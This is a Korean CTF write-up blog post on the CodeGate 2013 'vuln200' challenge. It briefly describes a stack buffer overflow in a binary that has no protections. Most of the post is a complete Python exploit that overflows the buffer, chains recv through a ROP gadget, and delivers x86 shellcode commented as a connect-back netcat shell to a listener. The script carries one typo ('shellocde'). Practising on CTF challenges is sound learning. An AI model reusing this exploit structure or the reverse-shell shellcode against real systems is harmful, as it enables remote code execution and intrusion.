본문 바로가기

ctf

[CodeGate 2013 CTF] vuln200

 

&dest 의 크기는 200byte 이지만 recv_buffer 에서 400byte 만큼 입력받을 수 있기에 오버플로우 취약점이 존재한다.

 

 

 

NX, PIE, ASLR 등 어떠한 방어 기법도 적용되어 있지 않기에 간단하게 문제를 풀 수 있다.

 

 

- - - - - - - - - - - - - - - - - - - - - - exploit.py - - - - - - - - - - - - - - - - - - - - - - - -

from socket import *

from struct import *

 

s = socket(AF_INET, SOCK_STREAM)

s.connect(('192.168.127.140', 7777))

 

p = lambda x: pack("<L", x)

 

# shellcode - "nc 127.0.0.1 55555"

shellcode = "\x68\x7f\x00\x00\x01\x5e\x66\x68\xd9\x03\x5f\x6a\x66\x58\x99\x6a\x01\x5b\x52\x53\x6a\x02\x89\xe1\xcd\x80\x93\x59\xb0\x3f\xcd\x80\x49\x79\xf9\xb0\x66\x56\x66\x57\x66\x6a\x02\x89\xe1\x6a\x10\x51\x53\x89\xe1\xcd\x80\xb0\x0b\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\xeb\xce"

 

recv_plt = 0x08048780

freespace = 0x0804b0a0

p4ret = 0x0804947c

 

payload = "A"*240

 

payload += p(recv_plt)

payload += p(p4ret)

payload += p(4)

payload += p(freespace)

payload += p(len(shellocde))

payload += p(0)

 

payload += p(freespace)

 

print s.recv(1024)

s.send("write" + payload)

 

s.recv(1024)

s.send(shellcode)

 

s.close()

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

'ctf' 카테고리의 다른 글

[Plaid 2013 CTF] pork  (0) 2016.06.03
[CodeGate 2014 CTF] nuclear  (0) 2016.04.19
[CodeGate 2014 CTF] AngryDoraemon  (0) 2016.04.14
[Plaid 2013 CTF] ropasaurusrex  (0) 2016.03.24
[HolyShield 2016 CTF] Vulnerable_Protocol  (0) 2016.01.26